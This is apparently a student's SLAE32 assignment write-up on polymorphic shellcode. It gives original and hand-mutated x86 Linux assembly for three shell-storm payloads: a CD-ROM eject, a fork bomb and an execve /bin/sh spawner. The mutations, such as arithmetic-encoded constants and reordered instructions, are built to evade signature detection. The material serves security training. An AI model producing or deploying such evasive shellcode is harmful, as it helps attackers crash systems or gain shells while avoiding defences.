



SLAE32
assignment 6
PA-2485

Polymorphic Shellcode

In computer terminology, polymorphic code is code that uses a polymorphic engine to mutate while keeping the original algorithm intact. That is, the code changes itself each time it runs, but the function of the code (its semantics) will not change at all. For example, $1+3$ and $6-2$ both achieve the same result while using different values and operations. This technique is sometimes used by computer viruses, shellcodes and computer worms to hide their presence

Here is the original shellcode

<http://shell-storm.org/shellcode/files/shellcode-563.php>

```
; linux/x86 eject /dev/cdrom 42 bytes  
; root@thegibson  
; 2010-01-08
```

```
section .text  
global _start
```

```
_start:  
; open("/dev/cdrom", O_RDONLY | O_NONBLOCK);  
mov al, 5  
cdq  
push edx
```

```

push word 0x6d6f
push dword 0x7264632f
push dword 0x7665642f
mov ebx, esp
mov cx, 0xffff
sub cx, 0x7ff
int 0x80

; ioctl(fd, CDROMEJECT, 0);
mov ebx, eax
mov al, 54
mov cx, 0x5309
cdq
int 0x80

```

And here is the ploymorphic one

```

; linux/x86 eject /dev/cdrom 42 bytes
; root@thegibson
; 2010-01-08

section .text
    global _start

_start:
    ; open("/dev/cdrom", O_RDONLY | O_NONBLOCK);
    mov al, 5
    cdq
    push edx
    push word 0x6d6f
    push 0x6153521e
    pop edx
    add edx, 0x11111111
    push edx
    push 0x6554531e
    pop edx
    add edx, 0x11111111
    push edx
    nop
    nop
    mov ebx, esp
    mov cx, 0xffff
    sub cx, 0x7ff
    int 0x80

; ioctl(fd, CDROMEJECT, 0);
mov ebx, eax

```

```
mov al, 54
mov cx, 0x5309
cdq
int 0x80
```

=====

Source: <http://shell-storm.org/shellcode/files/shellcode-214.php>

Original code is:

```
;/ By Kris Katterjohn 8/29/2006
```

```
; 7 byte shellcode for a forkbomb
```

```
section .text
```

```
global _start
```

```
_start:
```

```
push byte 2
```

```
pop eax
```

```
int 0x80
```

```
jmp short _start
```

Here is the polymorphic one

```
;/ By Kris Katterjohn 8/29/2006
```

```
;http://shell-storm.org/shellcode/files/shellcode-214.php
```

```
section .text
```

```
global _start
```

```
_start:
```

```
mov al,0x2
```

```
int 0x80
```

```
jmp short _start
```

=====

1. Execve from shell-storm

Source: <http://shell-storm.org/shellcode/files/shellcode-752.php>

The original code:

```
;http://shell-storm.org/shellcode/files/shellcode-752.php
```

```
xor ecx, ecx
mul ecx
push ecx
push 0x68732f2f ;; hs//
push 0x6e69622f ;; nib/
mov ebx, esp
mov al, 11
int 0x80
```

The polymorphic one

```
;http://shell-storm.org/shellcode/files/shellcode-752.php
```

```
xor ecx, ecx
push ecx

mov esi,0x57621e1e
add esi,0x11111111

mov dword[esp-4],esi
sub esp,4

mov dword[esp-4],0x6e69622f
sub esp,4

mov ebx, esp
mov al, 11
int 0x80
```